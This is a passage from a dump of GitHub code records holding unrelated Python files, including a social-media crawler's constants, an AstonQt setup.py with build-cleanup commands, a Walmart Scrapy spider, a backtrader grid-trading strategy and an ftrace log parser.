petrov'\n\nDEFAULT_SOCIAL_MEDIA_CYCLE = 3600 # 1 hour since most social media websites have a 1 hour timeout\n# tasks\nTASK_EXPLORE = 0\nTASK_BULK_RETRIEVE = 1\nTASK_FETCH_LISTS = 2\nTASK_FETCH_USER = 3\nTASK_UPDATE_WALL = 4\nTASK_FETCH_STREAM = 5\nTASK_GET_DASHBOARD = 6\nTASK_GET_TAGGED = 7\nTASK_GET_BLOG_POSTS = 8\nTASK_GET_FACEBOOK_WALL = 9\nTASK_FETCH_FACEBOOK_USERS = 10\nTASK_TWITTER_SEARCH = 11\nTOTAL_TASKS = 12\n# twitter control constants\n\nPOLITENESS_VALUE = 0.5 # how long the worker should sleep for used to prevent twitter from getting overloaded\nTWITTER_MAX_LIST_SIZE = 5000\nTWITTER_MAX_NUMBER_OF_LISTS = 900 #can be changed to 1000 but retrieval of tweets from all lists not guaranteed\nTWITTER_MAX_NUMBER_OF_NON_FOLLOWED_USERS = 900\nTWITTER_BULK_LIST_SIZE = 100\nTWITTER_MAX_NUM_OF_BULK_LISTS_PER_REQUEST_CYCLE = 900\nTWITTER_MAX_NUM_OF_REQUESTS_PER_CYCLE = 180\nTWITTER_MAX_FOLLOW_REQUESTS = 10\nTWITTER_ADD_TO_LIST_LIMIT = 100\nMAX_TWITTER_TRENDS_REQUESTS = 15\nTWITTER_CYCLES_PER_HOUR = 4\nTWITTER_CYCLE_DURATION = 15\nRUNNING_CYCLE = 900 # 15*60seconds\nMAX_TWEETS_PER_CYCLE = 25\nMAX_TRACKABLE_TOPICS = 400\nMAX_FOLLOWABLE_USERS = 5000\n# tumblr control\nTUMBLR_MAX_REQUESTS_PER_DAY = 5000\nTUMBLR_MAX_REQUESTS_PER_HOUR = 250\n# facebook control\nFACEBOOK_MAX_REQUESTS_PER_HOUR = 200\n\n# storage locations\nTWITTER_BULK_LIST_STORAGE = 'data/twitter/bulk_lists'\nTWITTER_LIST_STORAGE = 'data/twitter/lists'\nTWITTER_USER_STORAGE = 'data/twitter/users'\nTWITTER_WALL_STORAGE = 'data/twitter/home'\nTWITTER_CANDIDATES_STORAGE = 'data/twitter/remaining'\nTWITTER_CREDENTIALS = 'data/twitter/login'\nPROXY_LOCATION = 'data/proxies'\nRANKING_FILTER_CLASSIFIER = 'data/classifier'\nRANKING_FILTER_TOPIC_CLASSIFIER = 'data/topic_classifier'\n# Model names\nTWITTER_STREAMING_BUCKET_MODEL = 'stream'\nTWITTER_CYCLE_HARVESTER = 'harvester'\nTWITTER_HYBRID_MODEL = 'hybrid'\nTWITTER_STREAMING_HARVESTER_NON_HYBRID = 'both'\n\n# Service plugins\nCRAWLER_PLUGIN_SERVICE = 1 # redirect all outputs to the plugin\nTWITTER_PLUGIN_SERVICE = 100 # redirect output from all twitter crawler models to the plugin\nTWITTER_HARVESTER_PLUGIN_SERVICE = 101 # redirect output from the twitter model to the plugin\nTWITTER_STREAMING_PLUGIN_SERVICE = 102 # redirect output from the twitter stream api to the plugin\nTUMBLR_PLUGIN_SERVICE = 103 # redirect tumblr output to plugin\nFACEBOOK_PLUGIN_SERVICE = 104 # redirect facebook output to plugin\n\n\n# Ranking Classifiers\nPERCEPTRON_CLASSIFIER = 201\nDEEP_NEURAL_NETWORK_CLASSIFIER = 202\nK_MEANS_CLASSIFIER = 203\n\n# other control constants and variables\nTESTING = False\nEXPLORING = False\nCOLLECTING_DATA_ONLY = False\nRANK_RESET_TIME = 600 # every 10 mins\nTIME_TO_UPDATE_TRENDS = 0\nFILTER_STREAM = False\nFRESH_TWEETS_ONLY = False # set to true to reduce the number of overlapping tweets\nPARTITION_FACTOR = 0.5\nTWITTER_ACCOUNTS_COUNT = 1\nMIN_TWITTER_STATUSES_COUNT = 150\n","repo_name":"2087829p/smores","sub_path":"smores/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34451871615","text":"from setuptools import setup\nfrom glob import glob\nimport matplotlib\nimport sys\nimport os\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n# read in the version number\nwith open('aston/__init__.py') as f:\n exec(f.read())\n\noptions = {\n 'name': 'AstonQt',\n 'version': __version__,\n 'description': 'Mass/UV Spectral Analysis Program',\n 'author': 'Roderick Bovee',\n 'author_email': 'bovee@fas.harvard.edu',\n 'url': 'http://code.google.com/p/aston',\n 'license': 'BSD 3-Clause',\n 'platforms': ['Any'],\n 'classifiers': [\n 'Development Status :: 4 - Beta',\n 'Environment :: X11 Applications :: Qt',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Topic :: Scientific/Engineering :: Chemistry'\n ],\n 'long_description': read('README.rst'),\n 'packages': ['astonqt', 'astonqt.database',\n 'astonqt.qtgui', 'astonqt.test'],\n 'scripts': ['astonx.py'],\n 'data_files': matplotlib.get_py2exe_datafiles(),\n 'package_data': {'aston': ['qtgui/i18n/*.qm', 'qtgui/icons/*.png']},\n 'include_package_data': True,\n 'install_requires': ['numpy', 'scipy', 'matplotlib', 'sqlalchemy'],\n 'test_suite': 'nose.collector',\n}\n\nif len(sys.argv) >= 2 and sys.argv[1] == 'py2exe':\n #setup the distutils stuff\n try:\n import py2exe\n except ImportError:\n print('Could not import py2exe. Windows exe could not be built.')\n sys.exit(0)\n\n options['windows'] = ['astonx.py']\n # scipy...._validation is only needed because of bug in scipy\n #options['data_files'] += [('Microsoft.VC90.CRT', \\\n # glob(r'C:\\Program Files\\Microsoft Visual Studio 9.0' + \\\n # r'\\VC\\redist\\x86\\Microsoft.VC90.CRT\\*.*'))]\n options['data_files'] += [(r'aston\\qtgui\\i18n', \\\n glob(os.path.abspath(r'aston\\qtgui\\i18n\\*.qm')))]\n options['data_files'] += [(r'aston\\qtgui\\icons', \\\n glob(os.path.abspath(r'aston\\qtgui\\icons\\*.png')))]\n options['zipfile'] = None\n options['options'] = {\n 'py2exe': {'skip_archive': False,\n 'bundle_files': 2,\n 'compressed': True,\n 'optimize': '2',\n 'dll_excludes': ['MSVCP90.dll', 'tcl85.dll', \\\n 'tk85.dll', 'w9xpopen.exe'],\n 'includes': ['sip', 'scipy.sparse.csgraph._validation', \\\n 'scipy.io.matlab.streams'],\n 'excludes': ['_gtkagg', '_tkagg', 'tcl', 'Tkconstants', 'Tkinter']}\n }\n\n #clean up stuff\n os.system('rmdir dist /s /q')\n os.system('rmdir build /s /q')\n os.system('rmdir dist_win /s /q')\n\nelif len(sys.argv) >= 2 and sys.argv[1] == 'py2app':\n #setup the distutils stuff\n try:\n import py2app\n except ImportError:\n print('Could not import py2app. Mac bundle could not be built.')\n sys.exit(0)\n\n options['app'] = ['astonx.py']\n options['setup_requires'] = ['py2app']\n options['iconfile'] = 'aston/qtgui/icons/logo.icns'\n options['data_files'] += [('aston/qtgui/i18n', \\\n glob(os.path.abspath('aston/qtgui/i18n/*.qm')))]\n options['data_files'] += [('aston/qtgui/icons', \\\n glob(os.path.abspath('aston/qtgui/icons/*.png')))]\n options['options'] = {'py2app': {\n 'argv_emulation': False,\n 'includes': ['sip', 'PyQt4', 'PyQt4.QtCore', \\\n 'PyQt4.QtGui', 'matplotlib', 'numpy', 'scipy'],\n 'excludes': ['PyQt4.QtDesigner', 'PyQt4.QtNetwork', \\\n 'PyQt4.QtOpenGL', 'PyQt4.QtScript', 'PyQt4.QtSql', \\\n 'PyQt4.QtTest', 'PyQt4.QtWebKit', 'PyQt4.QtXml', \\\n 'PyQt4.phonon', 'PyQt4.QtHelp', 'PyQt4.QtMultimedia', \\\n 'PyQt4.QtXmlPatterns', 'matplotlib.tests', 'scipy.weave']\n }}\n\n #clean up stuff\n os.system('rm -rf build')\n\n#all the magic happens right here\nsetup(**options)\n\nif len(sys.argv) >= 2 and sys.argv[1] == 'py2exe':\n os.system('rmdir build /s /q')\n os.system('rmdir dist\\\\mpl-data\\\\sample_data /s /q')\n os.system('copy platform\\\\win\\\\*.ico dist\\\\aston\\\\qtgui\\\\icons\\\\')\n #TODO: create the Microsoft.VC90.CRT folder and copy the DLLs\n # and manifest into it\n #TODO: run the aston.nsi\nelif len(sys.argv) >= 2 and sys.argv[1] == 'py2app':\n res_path = 'dist/Aston.app/Contents/Resources/'\n os.system('rm -rf build')\n os.system('cp -rf platform/mac/qt_menu.nib ' + res_path)\n os.system('cp platform/mac/qt.conf ' + res_path)\n os.system('cp platform/mac/logo.icns ' + res_path + 'PythonApplet.icns')\n os.system('rm -rf ' + res_path + 'mpl-data/sample_data')\n os.system('rm -rf ' + res_path + 'lib/python2.7/matplotlib/tests')\n os.system('rm -rf ' + res_path + '/lib/python2.7/scipy/weave')\n os.system('rm -rf ' + res_path + '/lib/python2.7/matplotlib/mpl-data')\n # Delete the following directories\n #/Content/Resources/lib/python2.7/matplotlib/testing\n #/Content/Resources/lib/python2.7/scipy/spatial/tests\n #/Content/Resources/lib/python2.7/email/test\n #/Content/Frameworks/QtXmlPatterns.framework\n #/Content/Frameworks/QtNetwork.framework\n #/Content/Frameworks/QtScript.framework\n #/Content/Frameworks/QtScriptTools.framework\n ##TODO: remove stuff from \"dist/Aston.app/Contents/Resources/lib/python2.7\"\n ##matplotlib.tests, scipy.weave, numpy.f2py\n ##libQtNetwork.4.dylib, libQtXmlPatterns.4.dylib, libtcl8.5.dylib\n ##libtk8.dylib, libQtDeclarative.dylib, libQtScript, libQtScriptTools\n ##libQtSql, libX11\n\n #The following doesn't seem to work?\n #os.system('rm -rf dist_mac')\n #os.system('mkdir dist_mac')\n #os.system('hdiutil create -fs HFS+ -volname \"Aston\" -srcfolder dist dist_mac/Aston.dmg')\n","repo_name":"bovee/AstonQt","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":5706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"19698176737","text":"from enum import IntEnum, auto\n\n\nclass PokerHandRank(IntEnum):\n \"\"\"\n Poker hand strengths ranked in ascending order.\n \"\"\"\n\n HighCard = auto()\n OnePair = auto()\n TwoPairs = auto()\n ThreeOfAKind = auto()\n Straight = auto()\n Flush = auto()\n FullHouse = auto()\n FourOfAKind = auto()\n StraightFlush = auto()\n RoyalFlush = auto()\n","repo_name":"alexkonrad/poker_hand_evaluator","sub_path":"poker_hand_evaluator/poker_hand_rank.py","file_name":"poker_hand_rank.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32894571434","text":"import multiprocessing\n\nimport multiprocessing.connection\nimport gym\nimport numpy as np\nimport random\n\n\n# Multiprocessing setup\n\nclass Game(object):\n def __init__(self, game):\n self.env = gym.make(game)\n\n def reset(self):\n return self.env.reset()\n\n def close(self):\n self.env.close()\n\n def step(self, action):\n #self.env.render()\n return self.env.step(action)\n\n\ndef runner_process(remote, game):\n game = Game(game) \n while True:\n cmd, data = remote.recv()\n if cmd == \"step\":\n remote.send(game.step(data))\n elif cmd == \"reset\":\n remote.send(game.reset())\n elif cmd == \"close\":\n remote.close()\n break\n else:\n raise NotImplementedError\n\nclass Runner:\n def __init__(self, game):\n self.child, parent = multiprocessing.Pipe()\n self.process = multiprocessing.Process(target=runner_process, args=(parent, game))\n self.process.start()","repo_name":"burcukoglu/TOPhos","sub_path":"multiprocess.py","file_name":"multiprocess.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"37245829532","text":"import json\nimport scrapy\nfrom scrapy_splash import SplashRequest\n\n\nclass GroceryProductsSpider(scrapy.Spider):\n name = 'grocery_products'\n start_urls = ['https://www.walmart.ca/en/grocery/N-117']\n\n def start_requests(self):\n for url in self.start_urls:\n yield SplashRequest(url, self.parse)\n\n def parse(self, response):\n category_links = response.css('.categoryTile a::attr(href)').getall()\n for href in category_links:\n yield SplashRequest(response.urljoin(href), self.parse_category)\n\n def parse_category(self, response):\n product_links = response.css('section#shelf-page article.product a.product-link')\n yield from response.follow_all(\n css='section#shelf-page article.product a.product-link',\n callback=self.parse_product\n )\n\n pagination_links = response.css('div#shelf-pagination li a::attr(href)').getall()\n for href in pagination_links:\n yield SplashRequest(response.urljoin(href), self.parse_category)\n\n def parse_product(self, response):\n json_text = response.xpath('//script[starts-with(., \"window.__PRELOADED_STATE__\")]/text()').get()\n obj_json = json.loads(json_text[json_text.find('{'):-1])\n obj_product = obj_json.get('product')\n active_sku_id = obj_product.get('activeSkuId')\n obj_entities_sku = obj_json.get('entities', {}).get('skus', {}).get(active_sku_id, {})\n bar_codes = obj_entities_sku.get('upc', [''])\n obj_images = obj_entities_sku.get('images', [])\n list_large_images = ['https://i5.walmartimages.ca/%s' % obj_img.get('large', {}).get('url') for obj_img in obj_images]\n category_list = [c.get('displayName', {}).get('en') for c in obj_product.get('item', {}).get('primaryCategories', [])[0].get('hierarchy', [])]\n category_list.reverse()\n category = 'Grocery|%s' % ('|'.join([c for c in category_list]))\n yield {\n 'store': 'walmart',\n 'name': obj_entities_sku.get('name'),\n 'barcodes': ','.join(bar_codes),\n 'sku': active_sku_id,\n 'brand': obj_entities_sku.get('brand', {}).get('name'),\n 'description': obj_entities_sku.get('longDescription'),\n 'package': obj_entities_sku.get('description'),\n 'image_urls': ','.join(list_large_images),\n 'category': category,\n 'product_url': response.request.url\n }\n","repo_name":"ezdookie/walmart-scraping","sub_path":"walmart/walmart/spiders/grocery_products.py","file_name":"grocery_products.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9039955404","text":"import sys\nargs = sys.argv\n\nnumber = args[1]\na = int(number)\n\n#60未満の時「Cランク」\nif a < 60:\n print(\"Cランク\")\n# 60以上80未満の時「Bランク」\nelif 60 <= a < 80:\n print(\"Bランク\")\nelse: #elseには条件がつかない\n print(\"Aランク\")\n","repo_name":"tanaka-sample/practice","sub_path":"if.py","file_name":"if.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"482785792","text":"import Data_generator\r\nimport find_path\r\nimport numpy as np\r\nimport time\r\n\r\nm = 10\r\nn = 10\r\n\r\n\r\ndef check():\r\n if 1 not in board and not 2 in board and not 3 in board:\r\n return True\r\n return False\r\n\r\n\r\ndef find_candy(x, y):\r\n arr = []\r\n for i in range(m):\r\n for j in range(n):\r\n if board[i, j] == 1 or board[i, j] == 2 or board[i, j] == 3:\r\n arr.append([i, j])\r\n return min(arr, key=lambda z: (abs(z[0] - x) + abs(z[1] - y), board[z[0], z[1]]))\r\n\r\n\r\ndef solution():\r\n ls = []\r\n while X:\r\n sol = X[0]\r\n action = sol[2]\r\n start = sol[0][0]\r\n end = sol[0][1]\r\n p = sol[1]\r\n while p:\r\n if p[0][0] - start[0] == 1:\r\n ls.append('MoveDown')\r\n elif p[0][0] - start[0] == -1:\r\n ls.append('MoveUp')\r\n elif p[0][1] - start[1] == 1:\r\n ls.append('MoveRight')\r\n elif p[0][1] - start[1] == -1:\r\n ls.append('MoveLeft')\r\n start = p[0]\r\n p.pop(0)\r\n if start == end:\r\n ls.append(action)\r\n else:\r\n if end[0] - start[0] == 1:\r\n ls.append('MoveDown')\r\n elif end[0] - start[0] == -1:\r\n ls.append('MoveUp')\r\n elif end[1] - start[1] == 1:\r\n ls.append('MoveRight')\r\n elif end[1] - start[1] == -1:\r\n ls.append('MoveLeft')\r\n ls.append(action)\r\n X.pop(0)\r\n print(ls)\r\n print('Cost', len(ls))\r\n\r\n\r\nboard, x_start, y_start = Data_generator.create_data(m, n)\r\nprint(board)\r\nprint('start point:', x_start, y_start)\r\nstart = time.time()\r\nmatrix, path = find_path.floyd_warshall(board)\r\nX = []\r\nx, y = x_start, y_start\r\n\r\nwhile not check():\r\n point = find_candy(x, y)\r\n if board[point[0], point[1]] == 1:\r\n route, cost = find_path.find_the_shortest_way_to_crush_heart(board, matrix, path, [x, y], point)\r\n X.append(([(x, y), tuple(point)], route, 'SuckDust'))\r\n board[point[0], point[1]] -= 1\r\n x, y = point[0], point[1]\r\n else:\r\n route1, cost1 = find_path.find_the_shortest_way_to_crush_heart(board, matrix, path, [x, y], point)\r\n X.append(([(x, y), tuple(point)], route1, 'PickUp'))\r\n board[point[0], point[1]] -= 2\r\n route2, cost2 = find_path.find_the_shortest_way_to_crush_heart(board, matrix, path, point, [0, 0])\r\n X.append(([tuple(point), (0, 0)], route2, 'PutDown'))\r\n x, y = 0, 0\r\nsolution()\r\nprint(time.time() - start)\r\n","repo_name":"LapTQ/AI_Vacuum_Cleaner","sub_path":"Bản để chạy kết quả thực nghiệm/Heuristic.py","file_name":"Heuristic.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14356987869","text":"# coding:utf-8\n# 网格交易策略实现\n\n\nimport backtrader as bt\nimport backtrader.indicators as bi\nimport backtest\nimport pandas as pd\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\n\nclass GridStrategy(bt.Strategy):\n params = (\n (\"printlog\", True),\n (\"top\", 4.2),\n (\"buttom\", 3.5),\n (\"gap\", 0.01)\n )\n def __init__(self):\n self.mid = (self.p.top + self.p.buttom)/2.0\n # 百分比区间计算\n #这里多1/2，是因为arange函数是左闭右开区间。\n perc_level = [x for x in np.arange(1 + self.p.gap * 5, 1 - self.p.gap * 5 - self.p.gap/2, -1.0 * self.p.gap)]\n # 价格区间\n # print(self.mid)\n self.price_levels = [self.mid * x for x in perc_level]\n # 记录上一次穿越的网格\n self.last_price_index = None\n # 总手续费\n self.comm = 0.0\n \n def next(self):\n # print(self.last_price_index)\n # 开仓\n if self.last_price_index == None:\n # print(\"b\", len(self.price_levels))\n for i in range(len(self.price_levels)):\n price = self.data.close[0]\n # print(\"c\", i, price, self.price_levels[i][0])\n if self.data.close[0] > self.price_levels[i]:\n self.last_price_index = i\n self.order_target_percent(target=i/(len(self.price_levels) - 1))\n print(\"a\")\n return\n # 调仓\n else:\n signal = False\n while True:\n upper = None\n lower = None\n if self.last_price_index > 0:\n upper = self.price_levels[self.last_price_index - 1]\n if self.last_price_index < len(self.price_levels) - 1:\n lower = self.price_levels[self.last_price_index + 1]\n # 还不是最轻仓，继续涨，再卖一档\n if upper != None and self.data.close > upper:\n self.last_price_index = self.last_price_index - 1\n signal = True\n continue\n # 还不是最重仓，继续跌，再买一档\n if lower != None and self.data.close < lower:\n self.last_price_index = self.last_price_index + 1\n signal = True\n continue\n break\n if signal:\n self.long_short = None\n self.order_target_percent(target=self.last_price_index/(len(self.price_levels) - 1))\n \n # 输出交易记录\n def log(self, txt, dt = None, doprint = False):\n if self.params.printlog or doprint:\n dt = dt or self.datas[0].datetime.date(0)\n print('%s, %s' % (dt.isoformat(), txt))\n \n def notify_order(self, order):\n # 有交易提交/被接受，啥也不做\n if order.status in [order.Submitted, order.Accepted]:\n return\n # 交易完成，报告结果\n if order.status in [order.Completed]:\n if order.isbuy():\n self.log(\n '执行买入, 价格: %.2f, 成本: %.2f, 手续费 %.2f' %\n (order.executed.price,\n order.executed.value,\n order.executed.comm))\n self.buyprice = order.executed.price\n self.comm += order.executed.comm\n else:\n self.log(\n '执行卖出, 价格: %.2f, 成本: %.2f, 手续费 %.2f' %\n (order.executed.price,\n order.executed.value,\n order.executed.comm))\n self.comm += order.executed.comm\n elif order.status in [order.Canceled, order.Margin, order.Rejected]:\n self.log(\"交易失败\")\n self.order = None\n \n # 输出手续费\n def stop(self):\n self.log(\"手续费:%.2f 成本比例:%.5f\" % (self.comm, self.comm/self.broker.getvalue()))\n\n\nif __name__ == \"__main__\":\n start = \"2018-01-01\"\n end = \"2020-07-05\"\n name = [\"300etf\"]\n code = [\"510300\"]\n backtest = backtest.BackTest(GridStrategy, start, end, code, name, 100000)\n result = backtest.run()\n # backtest.output()\n print(result)\n # 看选择不同网格宽度的效果\n result = backtest.optRun(gap = np.arange(0.005, 0.055, 0.005))\n plt.figure()\n plt.plot(result.参数值, result.年化收益率)\n plt.savefig(\"网格策略宽度优化.png\")\n ret = result.loc[:, \"年化收益率\"]\n maxindex = ret[ret == ret.max()].index\n bestResult = result.loc[maxindex,:]\n print(bestResult.loc[:, [\"夏普比率\", \"参数名\", \"参数值\", \"年化收益率\"]])","repo_name":"zwdnet/MyQuant","sub_path":"47/Grid.py","file_name":"Grid.py","file_ext":"py","file_size_in_byte":4769,"program_lang":"python","lang":"en","doc_type":"code","stars":207,"dataset":"github-code","pt":"3"} +{"seq_id":"8097928151","text":"from io import BytesIO\nfrom django.test import TestCase\nfrom django.core.files import File\nfrom django.db import IntegrityError\n\nfrom PIL import Image as TestImage\n\nfrom auth_app.models import User\nfrom .models import Image\n\n\nclass ImageModelTestCase(TestCase):\n\n @staticmethod\n def get_image_file():\n file_obj = BytesIO()\n image = TestImage.new('RGB', (20, 20))\n image.save(file_obj, 'png')\n file_obj.seek(0)\n return File(file_obj, name='name')\n\n def setUp(self):\n self.user = User.objects.create_user(username='testuser',\n password='testpassword')\n\n def test_create_image(self):\n image = Image.objects.create(title='Test Image',\n image=self.get_image_file(),\n user=self.user)\n self.assertEqual(image.title, 'Test Image')\n self.assertIsNotNone(image.created_date)\n self.assertIsNotNone(image.update_at)\n self.assertEqual(image.user, self.user)\n\n def test_create_image_without_user(self):\n image = Image(title='Test Image', image=self.get_image_file())\n with self.assertRaises(IntegrityError):\n image.save()\n\n def test_update_image(self):\n image = Image.objects.create(title='Test Image',\n image=self.get_image_file(),\n user=self.user)\n self.assertEqual(image.title, 'Test Image')\n self.assertIsNotNone(image.created_date)\n self.assertIsNotNone(image.update_at)\n\n image.title = 'Updated Test Image'\n image.save()\n image.refresh_from_db()\n self.assertEqual(image.title, 'Updated Test Image')\n self.assertIsNotNone(image.created_date)\n self.assertIsNotNone(image.update_at)\n","repo_name":"got747/drf-gallery","sub_path":"gallery/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15636516122","text":"# Complete the max_of_three function so that returns the\n# maximum of three values.\n#\n# If two values are the same maximum value, return either of\n# them.\n# If the all of the values are the same, return any of them\n#\n# Use the >= operator for greater than or equal to\n\n# Do some planning in ./planning.md\n\n# Write out some pseudocode before trying to solve the\n# problem to get a good feel for how to solve it.\n\ndef max_of_three(value1, value2, value3):\n\n \"\"\"Evaluate 3 values for max\"\"\"\n\n # Initialize variables\n max = value1\n values = [value1, value2, value3]\n\n # Loop through list\n for i in values:\n if i >= max:\n max = i\n\n # Return max\n return max\n\n\n# Initialize var\nvalue1 = 4\nvalue2 = 5\nvalue3 = 10\n\n# Invoke and print\nprint(max_of_three(value1, value2, value3))\n","repo_name":"kariscourey/hr-python-practice-problems","sub_path":"problems/problem_004.py","file_name":"problem_004.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28340339545","text":"def isort(list):\n for j in range(1,len(list)):\n key=list[j]\n i=j-1\n while i>=0 and key\\d+)\n \"\"\",\n re.X | re.M\n)\n\"\"\"for arm, trace_clock = boot\"\"\"\npattFtrace = re.compile(\n r\"\"\"\n (?P.+)\\-\n (?P\\d{1,})\\s+\\[\n (?P\\d{3})\\].{4,}\\s\n (?P\\d+\\.\\d{6})\\:\\s+\n (?P[\\w:]+)\\:\\s+\n (?P.*)\n \"\"\",\n re.X | re.M\n)\n\n\"\"\"for x86, trace_clock = x86-tsc\"\"\"\npattFtraceTSC = re.compile(\n r\"\"\"\n (?P.+)\\-\n (?P\\d{1,})\\s+\\[\n (?P\\d{3})\\].{4,}\\s\n (?P\\d+)\\:\\s+\n (?P[\\w:]+)\\:\\s+\n (?P.*)\n \"\"\",\n re.X | re.M\n)\n\n#\"\"\"for x86, trace_clock = x86-tsc\"\"\"\n#pattFtraceTSC = re.compile(\n# r\"\"\"\n# (?P.+)\\-\n# (?P\\d{1,})\\s+\\[\n# (?P\\d{3})\\].{4,}\\s\n# (?P\\d+)\\:\\s+\n# (?P\\w+)\\:\n# (?P.*)\n# \"\"\",\n# re.X | re.M\n#)\n#\npattSchedSwitch = re.compile(\n r\"\"\"\n prev_comm\\=(?P.+)\n prev_pid\\=(?P.+)\n prev_prio\\=(?P.+)\n prev_state\\=(?P.+)==>.+\n next_comm\\=(?P.+)\n next_pid\\=(?P.+)\n next_prio\\=(?P.+)\n \"\"\",\n re.X | re.M\n)\n\n\nclass ftraceEvent:\n def __init__(self, taskComm, taskPid, cpuId, timeStamp, func, info):\n self.taskComm = taskComm.strip()\n self.taskPid = int(taskPid)\n self.cpuId = int(cpuId)\n self.timeStamp = float(timeStamp)\n self.func = func.strip()\n self.info = info.strip()\n self.infoDetail = dict()\n self.isTarget = False\n self.dir = None\n\n #self.type = None\n #self.dir = None\n\n if self.isSched():\n if not re.match(pattSchedSwitch, self.info):\n print(\"Match sched_switch failed\", flush=True)\n else:\n infoDetail = re.match(pattSchedSwitch, self.info).groupdict()\n self.infoDetail['ss_prev_comm'] = infoDetail['prev_comm'].strip()\n self.infoDetail['ss_prev_pid'] = int(infoDetail['prev_pid'])\n self.infoDetail['ss_prev_prio'] = int(infoDetail['prev_prio'])\n self.infoDetail['ss_prev_state'] = infoDetail['prev_state'].strip()\n self.infoDetail['ss_next_comm'] = infoDetail['next_comm'].strip()\n self.infoDetail['ss_next_pid'] = int(infoDetail['next_pid'])\n self.infoDetail['ss_next_prio'] = int(infoDetail['next_prio'])\n\n elif self.isCu():\n if not re.match(hwCUPatt, self.info):\n print(\"Match hw dpu failed\", flush=True)\n else:\n infoDetail = re.match(hwCUPatt, self.info).groupdict()\n self.infoDetail['cu_idx'] = int(infoDetail['cu_idx'].strip())\n\n def __str__(self):\n return \"%.6f:%17s-%4d@[%02d]:%18s: %s\" %\\\n (self.timeStamp, self.taskComm, self.taskPid, self.cpuId, self.func, self.info)\n\n def toTimelineEvent(self):\n if self.func.endswith(\"_entry\"):\n et = \"start\"\n elif self.func.endswith(\"_exit\"):\n et = \"done\"\n else:\n et = \"marker\"\n\n ct = \"CPU\"\n cid = self.cpuId\n\n func = self.func.replace(\"_entry\", \"\").replace(\"_exit\", \"\")\n return vaiTimelineEvent(self.timeStamp, self.taskPid, et, ct, cid, func)\n\n def isSched(self):\n return self.func.startswith('sched_switch')\n\n def isCu(self):\n return self.func.startswith(\"cu_\")\n\n # def toTraceEvent(self):\n # global T\n # type = None\n # if self.isSched():\n # if self.infoDetail['ss_next_comm'] == T.targetComm:\n # type = 'sched_switch_in'\n # elif self.infoDetail['ss_prev_comm'] == T.targetComm:\n # type = 'sched_switch_out'\n # else:\n # print(\"no used event\", flush=True)\n # return None\n # else:\n # type = self.func\n #\n # if type is None:\n # return None\n # return traceEvent(type, self.timeStamp, self.infoDetail)\n\n\ndef parse(l, options):\n patt = pattFtrace\n\n \"\"\"Selet trace clock\"\"\"\n tc = options.get('traceClock', None)\n if tc == 'x86-tsc':\n patt = pattFtraceTSC\n\n tmp = re.match(patt, l.strip())\n\n \"\"\"Not matched\"\"\"\n if tmp is None:\n return None\n\n tmp = tmp.groups()\n return(ftraceEvent(*tmp))\n","repo_name":"PenroseZ/vitis-ai","sub_path":"tools/Vitis-AI-Profiler/xatAnalyzer/parser/ftraceUtil.py","file_name":"ftraceUtil.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"16060871528","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django_countries.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('customers', '0019_order_custom_price'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='customer',\n name='country',\n field=django_countries.fields.CountryField(default='SG', max_length=2),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='customer',\n name='postcode',\n field=models.CharField(max_length=13, verbose_name='Postal code'),\n ),\n ]\n","repo_name":"webexpert0727/ReactJS_Python","sub_path":"customers/migrations/0020_auto_20161128_0558.py","file_name":"0020_auto_20161128_0558.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40089721715","text":"from tkinter import *\nfrom tkinter import ttk,scrolledtext,Frame,Scrollbar,Canvas,Menu,Tk,VERTICAL\nfrom matriz import *\nfrom listaSimple import *\nfrom funcion import Funciones_\nclass interface:\n\n def __init__(self, ventana):\n #########################__contenedor principal__################################\n self.root = ventana\n self.crearventana()\n self.seleccion = ''\n\n def crearventana(self):\n function = Funciones_()\n contenedor = self.root\n contenedor.title(\"PROYECTO 2 -> 201800992\")\n\n #########################__ScrollBar de ventanas__#######################\n contenedorPrincipal = Frame(contenedor, bg=\"OliveDrab1\")\n estilos = Canvas(contenedorPrincipal, bg=\"OliveDrab1\")\n scrolBar = Scrollbar(contenedorPrincipal, orient=VERTICAL, command=estilos.yview)\n scrol = Frame(estilos, bg=\"OliveDrab1\")\n combo = ttk.Combobox()\n btnOperador = ttk.Button(text=\"Seleccionar\", command=print(\"hola\"))\n btnOperador.place(x=200, y=50)\n combo.place(x=50, y=50)\n combo.config()\n\n #########################__Configuracion de scrollBar en ventanas__#######################\n scrol.bind(\"\", lambda e: estilos.configure(scrollregion=estilos.bbox(\"all\")))\n 